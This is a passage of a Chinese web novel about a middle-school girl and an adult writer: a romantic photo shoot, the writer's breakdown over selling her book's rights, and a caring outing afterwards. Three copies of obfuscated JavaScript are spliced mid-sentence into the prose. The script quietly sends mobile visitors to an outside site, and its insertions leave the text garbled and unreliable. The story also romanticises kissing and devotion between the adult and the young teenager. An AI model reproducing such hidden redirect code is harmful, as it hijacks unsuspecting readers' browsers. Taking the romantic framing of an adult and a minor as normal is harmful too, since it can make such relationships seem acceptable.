余杭清站在一旁,好不容易比喻衍高些,于是低下头亲吻她的发旋,亲吻头发的动作很轻,可眸中的恋慕却重达千金,摄影师连拍的动作没停,十几秒之后余杭清终于抬起头。 摆拍也该结束了。 不能总占便宜。 还有那种古早又流行的动作。她们背后的壁纸换了一沓,换成了古堡的窗,那种很大一面的,上面是半圆形,下面搭着长方形的窗。 这一次的造型指导是喻衍站在那里,微微侧过身,而余杭清在她背后拥抱过去。 余杭清整个人环抱过去,脸颊贴着她的背脊,满是骑士的守护和忠诚,仿佛在防备着什么?瞪圆了眼睛满是警惕。 瞧上镜头的一瞬间,甚至有种阻碍别人看向喻衍这光滑背脊的凶悍表情。 张牙舞爪的可爱。喻衍勾勾她的鼻梁,然后跟摄影师沟通下一个动作要领。 等沟通完了,喻衍就又踩着高跟鞋过来,站在那里,余杭清走过去,没忍住,帮喻衍把落下来的一绺头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819981|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发放到背后去整理头纱,让头纱自然顺滑的落下来,那片白色的纱,遮住她海藻般的长发。 这一幕在强行打出的日落光的柔和傍晚里显出极温柔的关怀。怜惜和爱意,余杭清闭上了嘴,就从眼睛里跑出来,还有轻微的动作,垂下的头,倾向她的身体。 不只是镜头语言、身体、动作、神态,每一点都表达着喜欢。 后面的动作就简单得多,她们隔着捧花做出亲吻的表情。因为喻衍竟然说想试试那种搞怪风,原版是一个搞怪的新中式秀禾服,男方戴着墨镜,女方一只腿踩在椅子上,撅起嘴亲在一起。 喻衍现在穿着鱼尾裙,自然不能把腿踩在椅子上,只好一只腿向后踢过去,把鱼尾裙的后摆踢开。像是条真正的美人鱼。 余杭清自然不会拖后腿,她拿着捧花。凝眸看向对方。微微眯着眼。撅起嘴。好像真的要亲上去。 照片里她们仿若一对爱侣。 选片的时候有点奇怪至极,点每一张都是欢喜,最终只好加了钱把所有底片都买回去。 那时候的ps,p完之后皮肤质感就变了些,喻衍对精修照没什么执念。干脆就要求当场洗。 余杭清在那块小小的电脑屏幕上看到两个人亲密的动作,瞧见自己明显痴迷的神情。有些不好意思的用手捂着脸,又实在忍不住透过指缝看过去。 原来喜欢一个人这么明显。 像是喝醉了酒似的。 总是垂着脑袋,低眉顺眼地望过去。 喻衍选了个很大的相册,跟店里人的讨价还价,又送了几个大小不同的相框,最终付了两千四百块。 余杭清崇拜的看着她,瞧着她滔滔不绝的讲话,看着她爽朗的笑,听她祝老板生意兴隆,连讨价还价也不显得小气巴拉。 照片没用多久,一个多小时就全洗出来了,大的,小的,那个最大的相框,真的像家里爸爸妈妈的结婚照那么大。 已经把最大的那张照片装裱好拿过来了。 竟然是她从背后抱着她的那张。 余杭清的脸颊还贴在喻衍的背脊上,这样隐秘的碰触,或许盘起来没盘干净的,脑袋旁边的碎发,触碰到了她雪白的的肌肤。 余杭清忍不住红了脸,抱着那个最大的相框,整个人愣住不知道该怎么办。 喻衍抬起她的下巴,看着她,调笑她,“怎么了?我就知道你会喜欢。” “这张挂起来,然后露背的那张放在书房里收藏。你你这家伙古板。老不让人看。” “人辛辛苦苦练背,不就是为了拍出来好看。也就我什么都依着你。” “真是的,一天天。”喻衍百无聊赖的把高跟鞋的后跟儿在瓷砖上转了又转。柔和的目光落在余杭清的肩膀上。并不催促,只是试图用语言把她拉回现实世界。 照片也被钉在相册里了,大头还是拎在喻衍手上,是个包装好的巨大纸袋,装着一本很厚的照片及还有喻衍露出美背的精致写真,唯一一张单人照后来被余杭清儿悄悄放在了桌面上。 一放就过了时间不知凡几。 17. 第17章 该怪她的 晚上各回各家,余杭清终究没有看到那场说好的电影,只能看着要漏不漏的白色管道里下水的声音。 跟妹妹挤在一张拥挤的小床里。 睡着了还吧唧着嘴,做着有一个人花掉全部积蓄给她买一套房子的美梦哩。 床头柜,书桌,大床一样一样添充进去,桌子上还放着喻衍的照片,签上挂着她从后头拥着她的背影…… 一楼的出租屋里见不到太阳,在这里阳光是奢侈品。 余杭清在睡梦中一阵心悸,猛的爬起来就跟妈妈发了消息就风一样的跑出去。 来不及享受早晨新鲜的空气,心痛愈演愈烈几乎要抽死过去。余杭清奔跑着越过早高峰的人群,又一口气爬上三层楼,才颤抖着手好不容易把钥匙戳进去。 房间洁白空旷,余杭清却确定以及肯定喻衍在这里。 隐隐约约听到低低的抽泣,余杭清循着这声音摸过去。就看到喻衍散落在衣柜旁的高跟鞋。 很显然,声音是从这里传出去…… 余杭清从来没见过喻衍这样无助的哭泣,似乎要把她的心活活放进油锅里煎炸烹烤,怎么痛怎么去。 她拉开柜门,看见喻衍光着脚,蜷缩着,紧紧抱着自己。她的鬓发被眼泪粘在额前,眼睛红肿一片,整张脸都泛着不正常的潮红,哭的几乎晕死过去。 “对不起……” “对不起……” 手机被扔在衣柜的另一边,余杭清没有去捡。只是抱着喻衍出了衣柜,一只手托着后颈,一只手托着她的臀像抱小孩一样把她放进被子里面。 余杭清小心翼翼帮她抚摸着背脊顺气,低眉顺眼的小声问喻衍,“发生了什么事?”用额头去贴她的额头,简单判断她有没有烧过去。 喻衍抽抽噎噎的掉眼泪,搂着余杭清的脖子把眼泪蹭在她侧颈,“她们都知道了……”她的眼泪喷吐热气。 余杭清不明所以,“知道什么?那就让她们知道去。”她顺着她额前黏住似的碎发,轻手轻脚挑到两边去。低头去吻喻衍落下的泪。 喻衍却偏过头避过去,绝望的哭泣着,残忍的解答余杭清的问题,“她们知道我卖版权的事了,好生气……”把自己一逼再逼。 余杭清怒火中烧,眼睛里几乎喷出火来,毫不犹豫的就站在喻衍这一面,指责起那些人多管闲事的张狂。 “你的书当然你想怎么处置就怎么处置啊。” “她们知道了又怎样。” “作者也要吃饭的呀,现在盗版满天飞,你不卖版权你怎么办呢?” “只要自己但凡写了几万字的,哪一个不盼着早点把版权卖出去挣点钱。” “论坛上还有人专门教着怎怎样写好卖版权的书呢。” “怎么就偏偏你跟人不一样。” “把自己憋的可怜成这样。”她看着她摘下的眼镜,看到那湖水一样深邃的眼睛里泛上泪光。怒火中烧的指责,却不知道该怎样讲。 她看到那个人脆弱的流着眼泪,看到她流畅自然的侧脸,看到她撇下去的嘴,看到她温和的瞧着她的眼睛,她说。 “书是读者捧起来的。” “没有一本书的成就可以跟读者完全分割开来。” “我承认并且赞同。” “如果没有读者的推荐,没有口口相传的分享,谁会来看我的书呢?” “是我在明知前途未卜的情况下把版权卖了出去。所以我也接受她们指责我背叛。” “我甚至不敢想象,有一天我打开浏览器搜索她们的名字,看到不知名明星的脸,看到我的书粉在底下跟她们争论,说没有天选……” “所以我活该的。” 她的眼泪啪嗒一下从脸上滑下去了,昨天还叮叮当当戴在手上的金属手链框在上面,衣服揉了一晚上,像是草草稿纸似的,皱皱巴巴的缩在一起,细腿牛仔裤把她的脚踝勒出印。 难得用了一个辱女到刻薄的词形容自己,“是不是当了婊子还要立牌坊?” 余杭清把她拥进怀里,拼命的摇着头,承受着两份心伤。“怎么会怎么会,你根本就不是这样……”余杭清的声音已经带着哽咽了,整个人都在颤抖,强行从肩膀后面把喻衍兜进怀里。肩胛骨就戳在她胸胸脯上。 喻衍自嘲的笑。把长发拨到耳后去。露出有些整齐的眉毛,半弯不弯的嵌镶在额头下方,“那我要怎么样?我去微博上哭天喊地,闹给我的读者看,跟她们说我有多不舍得,跟她们说我自己也愧疚难当?” “我做不出这种事儿。” “她们在知道之后就已经很难过了,没必要再把我这份苦痛加诸上去。” “版权不在网站手上,是我自己要卖的。” “所以我理所应当,当仁不让。”琥珀色的眸子神秘诱人,特别是里头那点忧郁,叫人忍不住触碰怜惜。 喻衍整个脸涨红着,拼了命的呼吸像是得了哮喘似的,整个人都在发烫,“我活该的,有人说我,心里倒还好受些。” 眼泪断了线的珠子一样往下掉,余杭清不知道说什么,对方把能说的话都说尽了,她看着她哭,只能用拇指去揩,用手掌接着,任由滚烫的泪砸在她掌心上。 来不及接,就用整个手掌,用四指照着喻衍平常擦眼泪的姿势往上浮,这样骄傲自负的人,连眼泪都要朝着上方去擦。 余杭清无可奈何的旁观着她的痛苦,和她紧紧相拥,却又置身事外。 她恨极了那些造成她痛苦的人,可那些人和余杭清素不相识,她的痛苦不应该加诸在那些人身上。 喻衍在哭,可她却帮不上任何一点忙。 该怪她的。 是她余杭清想要一间房。 她才是那个罪魁祸首,为什么惩罚不落在她身上。 她想跪下来求老天爷,跟老天爷讲,说你把报应都报应在我身上。说我可以不要那间房。 可是喻衍为了这间房吃了这样的苦头。怎么能说不要就不要呢。 这一间房的每一个布置都是两个人一点一点从家具上挑出来的。喻衍甚至连价也没讲。 余杭清什么也不能反驳,所以才显得更加愧疚难当。 她恨不得自己一瞬间长大,然后变成一个能赚钱的大人,立刻马上就有一个怀抱可以让面前的喻衍依靠。 她们相拥着,像两条干涸水坑里相濡以沫的鱼,算作聊胜于无的慰藉。 她什么都依靠着她,什么都要她来讲,帮不上一点忙。 什么用都没有似的,看着喻衍烧得涨红的脸,还要打电话跟妈妈借 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余杭清把带着薄荷味的感冒灵颗粒,冲好递在她的嘴边,她就乖乖咽下去,又冲了粉红色的消炎药,这回她不乐意喝,伸出舌头,在一次性纸杯里点了点,尝到味道又猛地缩回去,那也没办法,余杭清戳戳她的脸叫她的名字,“喻衍……是我。” 于是喻衍勉为其难的张开嘴,任由余杭清拖着她的脖颈往后灌,绝对的信任,她甚至不用睁开眼确认,就明白面前的人是谁。 喻衍紧皱着眉头,涨红着脸。烧的神志不清,一直低低的抽泣,到了喝消炎药的胶囊,余杭清用手掌心托着两粒阿莫西林,凑到她的嘴边,感受到灼热的呼吸打在手心,然后用舌头一卷,湿润的舌头碰到掌心,药就被喻衍含在嘴里了。 最后发烧的那个糖浆,她死活紧闭着嘴,咬紧着牙关不喝,只好让喻衍整个人仰躺在余杭清怀里,可爱的下颌惯的她呛出眼泪来,睁开眼。 果不其然,瞧见余杭清担忧的脸。 她摸着她的头发,动作能看见,却实在没什么力道。让余杭清的眼泪忍不住跟着往下掉,“姐姐……” 喻衍强颜欢笑,“我没事的,估计是昨天晚上没睡好,着了凉。” 那一整天,喻衍靠在余杭清的怀里,余杭清真的成了她唯一的依靠,却怎么也开心不起。 余杭清用沾湿的棉签去湿润干裂的嘴唇。在这座房子的厨房里做了第一顿饭,给她做了一碗简单的蔬菜粥,加了香油和盐,她一口一口的给她喂进去,然后看看她哭到把自己呛着。 吐得昏天黑地。 拔剑四顾心茫然。她不知道该恨谁,所以只能恨自己。 怨自己没用,才叫她吃这样的苦。 她知道公立学校的老师工资高,按照这个人的工作年限来算,到手也有一千多,又算了收订比。喻衍在网站上连载的订阅收入也有几百块,在这样房租都只要几百块钱的小城里,喻衍的生活成本也低。 那钱都花到了哪里去?从前喻衍的钱都投到网店里去,可总有一部分流动资金,她总是源源不断的有收入的,怎么会窘迫到非得卖版权的境地? 喻衍是为了自己。 余杭清想起房产证上自己的名姓。 哭得不能自抑。 然而祸不单行。 18. 第18章 唯一的唯一 后面就更过分了,直播的时候会收到不好的评论,网店还有人恶意退货和差评。其实刚做起来的时候就有很多红眼病,这种事情也屡见不鲜,只是当对方提起自己的书,提起书粉有多失望的时候,多少还是会触动心弦。 喻衍做博主是为了网店,但很早很早之前,只是有个地方跟书粉聊聊天。 她们来自天南海北,是喻衍在这个世界第一批朋友,最早的支点,甚至在她遇见这个时候的自己之前。 对方真诚的予以长评,她就一点点回应过去,互相把心事讲给对方。在还在用GGMM的时代,给了她这个外乡人一个落脚点。 刚开始做博主的时候喻衍没换号,也没想着切割开来。人就是一个完整的个体。她没做什么不能让别人知道的事。 她的朋友们一开始来支援她,她的网店就一点一点被撑起,那个时候先在楼底下商店打工,一个月六百块钱。 搬货,擦货,整理货架,然后管两餐饭,离她那个小出租屋很近。就是正常价,那个时候喻衍不知道自己的身份证件和毕业证明能用,所以打的都是些不要文凭身份的工。 那个时候日子那么苦,唯一还算开心的时候,就是两三块钱一个小时的网吧,喻衍把写好的文章一字一句敲上去,然后看到那些人的评论,在□□上,微博上天南海北的聊。 手指灵动翻飞。一字一句的敲下去,只看到屏幕上微微莹润的光,似乎看到对面那个模糊的人影,闪着耀眼的亮。 她真的很在意那些人的看法。所以画地为牢,将自己囿于原地。 痛苦静静流淌,像细密的雨滴砸在她身上。 喻衍只是沉默着小声哭泣,直到想起这间房子里只有她自己,才忍不住放声。 “啊啊啊啊啊啊啊啊啊啊啊啊——” “我好痛苦——” 可是放声哭泣又怕打扰到别人,于是连尖叫和发泄也压着声音,实在是不好意思,干脆就逃荒似的钻进衣柜里,关上门,握着手机自虐般的看那些难听的话。 那些难听的话里,没几个熟悉的id,让她心里熨贴的同时快捷又加倍的让人无法逃离。尽管她把版权卖了出去,这些人依旧温和的包容着她,容许着她的行径,尊重着她的选择。 她们不仅仅是书的粉丝,也是喻衍的朋友。 她看着一个一个个红点冒出来,听那些人询问自己的心情,有人恭喜,有人担忧,有人打来电话。她看着一个一个个红点冒出来。 听那些人询问自己的心情,有人恭喜,有人担忧,有人打来电话她哪个人都不敢接,只能强行关了机,把手机扔到一边,沉浸在自己的情绪里。 没有人怪她,但是她自己却不能原谅自己。 那是她倾尽心力写的第一本书。 那是她深爱着的坚韧不拔的女主。 那里有许多许多特棒的老师做了很多很多同人二创帮助她把这个人的声名传播出去。 到后来最重要的点已经不止落在她写这本书上了,这是很多人共同的心血,而她现在就这样把书的版权卖了出去。 大家都在恭喜,只有她在纠结于资方要求的绝对话语权,纠结于彻底失去的选择,参与纠结于没有办法维系的女主内核。 她不甘心,她真的不甘心。 喻衍有点近视眼,摘了眼镜,眼前就迷茫一片,像是哭了似的,忍不住摸一摸脸,触及冰冷的指尖,才发现是真的落了泪。 眼镜被扔到一边,喻衍蜷缩着变成一个团,在心里指责自己不该有这样的情绪,指责自己不能敢作敢当。 心脏被撕裂成两半,一半与有荣焉,自己终于能有能力给小时候后的自己一个完整的家。一半自怨自艾。努力了这么久,还把握着时代机遇,结果就挣出这点东西,想买个房子,还要卖版权来抵。 既痛苦又无力。 喻衍怪自己出尔反尔,怪她自己爱的不够坚定。 如果坚定的不管余杭清的话就好了,如果坚定的一直爱余杭清,把钱攒在手上,随时能用也就好了。 偏偏她的爱总是摇摆不定。受到挫折了,就像碰着盐的蜗牛,一下子钻回去。第二天稍稍见她一眼,听她说一句话,又没出息的妥协。 几种思绪混杂着,她流着泪,靠在衣柜的角上,就那么蜷缩着睡着了,直到早晨迷迷糊糊的睁开眼,才觉得衣柜怎么这么烫。 她哂笑,拍拍自己的额头,又自暴自弃的,靠在衣柜的背板上不动弹了,她想烧得糊涂些也好。难得糊涂的。 有的人活得太清醒,就不大想活下去。 喻衍都想好了待会儿的结局,她只任由自己在这里靠两个小时,就两个小时就好,或者等到背板跟她的身体一个温度。她就走出去买一碗粥,喝点,去旁边的诊所扎一针就好。 她没想到会有人管她,喻衍向来孑然一身,网上的朋友大多在外地。 可是小姑娘急切的打开门,进来,小心翼翼的拉开衣柜,明亮的天光投进来落在她脸上。像是天使一样。 余杭清颤抖着把她搂进怀里,她感受到对方炙热的眼泪落在她的锁骨上,她想她所想,痛她所痛,在这一瞬间与它融为一体。 她突然就放心晕死过去,把一切都交给余杭清来处理。 这是世界上她唯一一个可以毫无芥蒂依靠的人了。 ———————————————————— 那些痛苦和煎熬,她一开始就没告诉余杭清,更没想着让对方跟自己一起承受处理。 这是她自己做出来的决定,自己的事,自己的责任又怎么让别人承担呢。 如果对方不是全心全意爱着自己。的话,她不会把责任强硬的分割过去。 等醒来之后,喻衍就立刻恢复了那副大人的架势,反过来照顾余杭清。 她不知道余杭清是说了多少好话,去立了怎样的军令状,才能在第二天十一点多天光微微从窗帘里透出来亮的时候,依然趴在旁边守着自己。喻衍一动,扯到被子,余杭清就睡眼惺忪的醒了过来,怔了怔,看向喻衍。“你好点了,姐姐……” 喻衍把余杭清拥进怀里,又恢复了那副成竹在胸的样子。“我好点儿了。” 她知道余杭清能守在她这床边是有多么的不容易。 至少喻衍那个时候没有这样的勇气。 她去朋友家里转了一圈,等回来的时候,就看到母亲恨铁不成钢的跟她讲。“不要往别人的家里去!”她记得母亲微红的带着担忧的眼,后来就不去了。 她没有勇气反抗。 所以就显得平庸到几乎贫瘠的境地。 装作若无其事般的,她撑起身子从床上起来,在衣柜里,又拿了一件新的平整的衬衫换上。又带了个古铜色的吊坠儿,弄在脖子上。甚至回头看向余杭清。“怎么样?这个树叶的好看吧,我觉得这种古铜色巨有设计?” 余杭清认认真真的点头。“很不错。你挑的特别好看。很有设计感。” 狂热的牛仔裤爱好者从衣柜里取出一条阔腿裤,穿上又套了双白袜子,回头跟呆愣愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819983|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的余杭清打招呼。“赶紧换衣服跟我出门,陪你去买点东西,入秋了,天气变冷,厚毯子肯定要吧,你下午六点就上学去了,也不知道着急。” 余杭清的眼泪哗的一下就掉下来了,她没想到对方生了病,醒来第一件事情是要给自己买毯子,送自己上学去。 她怎么值得呢? 她怎么能配得上喻衍这样的好呢? 可是她不能再哭了,因为她不清楚自己的眼泪会不会引起喻衍的伤感,会不会让她想到她其她的读者。 连眼泪都得藏匿。 偏偏她在她这儿又毫无顾忌。 实在是奇货可居。 两个人出了门,冷风就吹过来,余杭清没忍住,脱了身上的外套往喻衍身上披过去。“你生病刚好,先穿上,刚忘记提醒你,怎么穿个衬衫就出去?” 余杭清气喻衍不爱惜自己。 用别人的愤怒惩罚自己。 这样冷的出时候出门竟然也不带一件大衣。 实在舍不得。只好在心里翻一个白眼,默默的瞅着地。 喻衍没推拒,她清楚自己这副孱弱的身子。她的理智回归终于意识到还要为年幼的自己保驾护航,不能就这么病死过去。 所以她微笑着穿上那件幼稚的蓝色与白色相间,胸前印着笑脸的休闲外套,朝着余杭清笑了笑“嗯。谢谢你。” 昨天晚上大约起了风,今天早上起来树干上就没什么叶子可以落了,显得萧瑟冷清。 喻衍牵着余杭清的手走进一家汉中热米皮店,熟稔的跟老板娘打招呼。“要两碗热米皮,不要辣椒,多放辣椒油,还是十块对吧,放您桌上了哈。” 惊人的,喻衍和余杭清的口味如出一辙,于是,连饭食都吃得一模一样,看见被端上来的热米皮就觉得暖和热络。 余杭清正欲发愁怎么把黏连在一起的米皮搅开,就见喻衍迅速的搅匀了她那边那一晚,把搅好的那碗推过来,又把没搅的拉过去。“你吃这个,我帮你搅好了。” 怎么能让病人照顾自己? 可是余杭清心里还是无尽的窃喜。 窃喜对方,记得自己的喜好,照顾自己的小情绪,窃喜她不用说,就端过碗替她搅匀。 余杭清喜欢跟喻衍坐在同一排,抬头就能看到对方的侧脸,看到她圆润的鼻头,看到她方正的下颌线。看到她微微牵起的嘴唇,面向自己的时候,琥珀色的眼睛就像突然撞进了太阳。 她是她现存的鲜活生气。 她唯一的唯一。 看着喻衍热热闹闹的吹着气,大口大口的往嘴里呼噜米皮,像是在吃一大碗油泼面。往嘴里夹了一大口黄豆芽,然后抬起头来训她。“赶紧吃饭,不然待会凉透了。” 听着她囫囵的边吃饭边训人的声音,余杭清心里突然无尽的安心。她好像真的变成了网上说的那种抖m要对方说两句才意味着她关注或者关心。 余杭清用筷子挑起一根慢悠悠的衔,小心翼翼的用另一只手护着胸口,避免辣椒油蘸上喻衍给她买的新衣。 她小口小口的吃下去。就看到喻衍早已经吃好,坐在那里摆弄着智能手机。 喻衍从来不催她,虽然看起来急躁,但是出乎意料的有耐心。 她看着她穿着她的衣裳,整个人沾着她的气息,看到她从那件外套里溜出来的手臂,看到外套的松紧紧紧贴着她的胳膊,突然什么气都没有了。 只要她还好好的坐在这里,只要她们还像现在一样的亲密无隙。 一切都能过得去。 19. 第19章喜欢你 仲秋时节,秋江明镜,秋水长天浑一色,素手相牵抵万年。 余杭清喜欢她的强悍刚毅,喜欢她握着她的手就无坚不摧,万难不屈。 喻衍总是娴静的,又有些雅致。平素慢悠悠的信步闲庭,举止安详,好像很有闲情逸致似的到处逛,身体一旦好了,就蹬上高跟鞋,一步一步,也不嫌脚痛的信步闲庭。 余杭清也不催她,哪怕心里难免急躁,看见这人闲适的样子,就一下子清静,整个人静默下来。她总是被她牵在右侧,因为大多数时候左边靠着路。 她跟着她亦步亦趋的向前,变成了小跟屁虫,小心翼翼藏住自己淳朴的倾心,笑眯眯的跟她指两边的商铺,时不时发表自己的建议,“那家怎么样?我看那家的毯子的毛绒很细。” 喻衍就把手往后甩了甩,让她走在身后,身先士卒的走过去,停在那里。用手触摸余杭清指过的展示出来的那片粉色的毛毯。在手里翻来覆去的试探厚度,最终露出一个满意的笑,“就这条吧,麻烦帮我取下来。” 老板娘碰见这样爽快的客人,爽朗一笑,麻利的拿了塑料袋装起,递过来。“好,这条八十七。您看您是现金还是?” 这种比较小的金额一般都是现金,那时候微信支付还不像现在这么普及,她看见喻衍拿出精致的纽扣钱包转开,掏出一张红皮。 老板娘接过去,对着阳光看了看,确认是真的之后,很快揣到赵一依的口袋里,挑挑拣拣几张零钱找回来递过去。 于是余杭清拥有了一张软乎乎的毛毯,还是自己的爱人先提起,在她有些冷寂的初二。她眼睛里的爱慕掩不住,又带着点崇敬。 接过那毯子的时候,她就忍不住拿手触摸,用脸蹭过去,然后毫不意外的毯子被喻衍接过去,脸颊被人轻轻捏起,“别乱蹭,挂在外面展示的,好多人都摸过,待会儿蹭的长痘。” “还是买的晚了,要是我昨天没发烧的话,昨天就应该给你买,洗了今天能干,你到学校就直接能用去。”喻衍眼睛里闪着愧疚的光。神色看不清,像是糊了满天飞絮。 可是她怎么忍心怪她呢。 越是思忖,就越是怜惜。 情思如缕,丝丝缕缕地在瞧不见的地方,把喻衍裹成了一个硕大的茧,死死藏在心底。 余杭清笑着安慰,眉眼飞扬,“哪有现在还早呢,都没立冬,哪有几个人铺着毯子呀,你这分明是未雨绸缪,哪里会来不及?” 喻衍没说换一条没拿出来过的,因为这种小商铺拿货总是随机,她希望她的宝贝可以拿到最初想要的那一个。 余杭清也没提起,尽管她只是随手一指,尽管她只是装出欢欣雀跃的样子,想唤醒喻衍沉重的思绪。 喻衍果然笑了,仿佛一瞬之间,满室生辉,霞光绚丽。“来得及就好,你们学校又用不了电热毯,我总担心冻着你。” 有此一言,罔论仲秋之际,哪怕数九寒冬自有热切暖意。 余杭清抱住喻衍的手臂,有些高兴的跳起来,亲吻她的侧脸,眼睛里藏不住的欣喜,“姐姐,我好喜欢你!” 喻衍一副了然的样子,抬眼看她,嘴角扬起一抹沁人心脾的笑,白净细滑的手指戳在她的眉心,“又喜欢我了?” 体香醉人,妩媚嫣润,一绺头发落到余杭清露出来的锁骨脖颈,小姑娘整个人像是着了火,呆头呆脑的站在那里,一动不敢动,耳根红了个彻底。只是嗫嚅着呢喃,“喜欢你……” 喻衍蹬着高跟鞋步伐矫健,余杭清与其挽手同行。 天气冷,集市上的人不多,稀稀拉拉的,两人也就不怕走散,松松垮垮的牵着手,互相握住指尖。 路上碰见热气腾腾的糖炒栗子,栗子在那个圆柱状的锅里,被老师傅用铲子连带着黑色的沙一起扬起又落下,泛出蜂蜜味的甜香。 喻衍率先走向前去,她总是这样,熟练的记住余杭清的偏向和喜好,然后毫不犹豫的捧到她面前去。她不出所料地甩开余杭清的手,拍拍她的肩膀示意,“你站这等我一会儿,我给你买点糖炒栗子带到学校去。” 余杭清乖觉的点点头,认认真真地站在那里,她没准备带到学校去,这个大孩子也喜欢的,她要紧着这两三个小时剥开了,给这个大姑娘喂到嘴里。 姐姐真的是…… 懒得连吃都不愿意…… 从小没什么人肯给喻衍剥栗子,她不喜欢凉的,觉得噎得慌,也不怎么吃热的,烫的指尖不爽,后头习惯了给小姑娘买栗子,然后张开嘴巴,任由她往嘴里扔上几颗。 像喂麻雀似的,瞧见自己吃了,就兴冲冲的一股脑剥好几颗塞喻衍嘴里来,偏偏又暖和,让人在舌头里烫的炒菜的是同时又有些高兴,舍不得这点滚烫暖意远离。 喻衍对别人对她好或者不好不置可否,也没什么多余的情绪。与整个世界都疏离的像隔了一层膜。只是本能的笑的僵硬,像个机器人似的,把小姑娘捧在手掌心。 糖炒栗子的香气随着噔噔噔的高跟鞋声飘到余杭清面前,余杭清抬起眼,果不其然的接过那袋滚烫的栗子,拎在手边。 已经四点多钟了,还有不到两个小时,余杭清就得去上学,不出意外的话,半个小时之内,喻衍就会带她到附近的随意哪一家店,吃点东西,那个时候她就可以坐下来剥栗子了。 出乎意料的。 两个人走走停停,走过这一段有许多餐馆的街道,这是十字路口买了个烤红薯拎在手里,等掰开了才发现是那种红心儿的,又软又糯,北方又不怎么习惯配勺子,只好拎在手上,没法吃下去。 余杭清很聪明,立刻去往回走了不到一百米,找了一间粥铺跑进去。 整间铺子里氤氲着熬粥的热气,有股很浓的米香味儿,自顾自的点了一杯八宝粥,就做下去,自然而然的从桌子上放着的奶粉桶子里取出塑料勺子,挖一口红薯,吹了吹,就塞在正跟着自己进了店,呆愣愣坐在一边的喻衍嘴里。“怎么样,姐姐,我聪不聪明?” 喻衍还没回过神来夸她,她又立刻做贼心虚地用那个塑料勺。又蒯了一勺口红薯,迅速塞进自己嘴里,她没吹一口气,含到嘴里就还是烫的,舌头翻来滚去,说话含糊不清,“好湿,这种红心的果然……没有白心的好吃……” 喻衍近视,进了粥铺里,全是水腾腾的蒸汽,眼前几乎已经完全被白雾遮个干净。 于是取下眼镜放在一边,乖觉的坐在那里,脸上浮现出空白的神色,无意识的用涣散的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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像捧着什么宝贝似的,余杭清剥好了栗子,放在掌心吹了又吹,才小心翼翼的放在喻衍嘴里。“烫不烫?这次我绝对不着急……” 余杭清最怕的就是照顾不好喻衍了。那个人好像没什么偏好的,什么都吃,吃了之后却总是神色各异的反应。 余杭清到现在记还记得喻衍吐着舌头,到处找冷矿泉水,猛灌进嘴里的神态,记得她烫出的眼泪,自然也就记得吹了又吹。 眼神里带着些惶恐的惊惧,余杭清目光一错不错的落在女人身上,生怕女人再露出一点儿不顺意的表情。 再往后是八宝粥上面甜滋滋的芝麻,夹杂着葡萄干。还没泡进粥里,就被余杭清摇起来,吹了两下,放到喻衍嘴里,“你不喜欢那种泡开的,觉得酸,那你尝尝这种没泡开的,或许会甜。” 喻衍习以为常的含进嘴里,然后毫不意外的坐在那乖觉的等。因为下一口余杭清会放进自己嘴里。 余杭清不知怎么的,也不知道换个勺子。一样饭就是一样少,红薯是一样,八宝粥也是一样。 两个人用同一根勺子,实在是暧昧不已。 可惜面前这个人是木头桩子,吃的自然而然,没露出一丝异样的表情。 20. 第20章 有事或者想我就不用等明天 喂的再慢,一碗粥也终究会吃完,余杭清自然而然的打扫喻衍紧闭着嘴不愿意吃的后半段。 喻衍总是十分自律的减肥,所以八宝粥没有刻意加糖,她喝了两口就皱着眉推开勺子,最后一口竟然只含了一半。“我不想吃了,不加糖一点都不甜。” 喻衍伸手一推,余杭清冷不防间,勺子没拿稳,就整个掉进碗里面。“姐姐……”她有些惊诧地抬起头看。 可是她心爱的人,这样朦胧,柔软的目光望着她,喻衍喝过的半勺。在被推了一下之后,完全倒进了剩下的半碗里。混在一起分不出踪迹。 如果正在喂的是家里的弟弟或妹妹,余杭清一定立刻就甩手不干。 弄的满是口水,这一碗她都不想沾。 可这是喻衍留下来的,她甚至连勺子也没换,就狼吞虎咽似的大口吃完,心满意足似的。把肚子吃得溜圆。 剥好的糖炒栗子放在旁边一堆喻衍触手可及的地方,她时不时拿出一颗圆圆的栗子捻了又捻。“你怎么剥出这么完整的,上面那点毛毛的皮我总弄不掉……” 她怎么总撒娇。 余杭清没忍住回了一句,像是呛声似的,“拨不掉还管它干嘛?这不有我呢?只要我回来就拨给你。” 喻衍哑然失笑。巧色倩兮,美目盼兮。眸光潋滟流转之间,不知怎么的与余杭清四目相对。一字一顿,得把这句话说完,“好啊,那我这辈子都不学,就等你剥给我看。” 一辈子的承诺,就这样轻而易举的流露出来。 她怎么这样不检点? 总勾引人似的。 以后有了丈夫可怎么办? 余杭清忍不住停住打包剩下栗子的手,抬头恨恨的瞥了喻衍一眼。 烦死了,实在是太讨人喜欢。 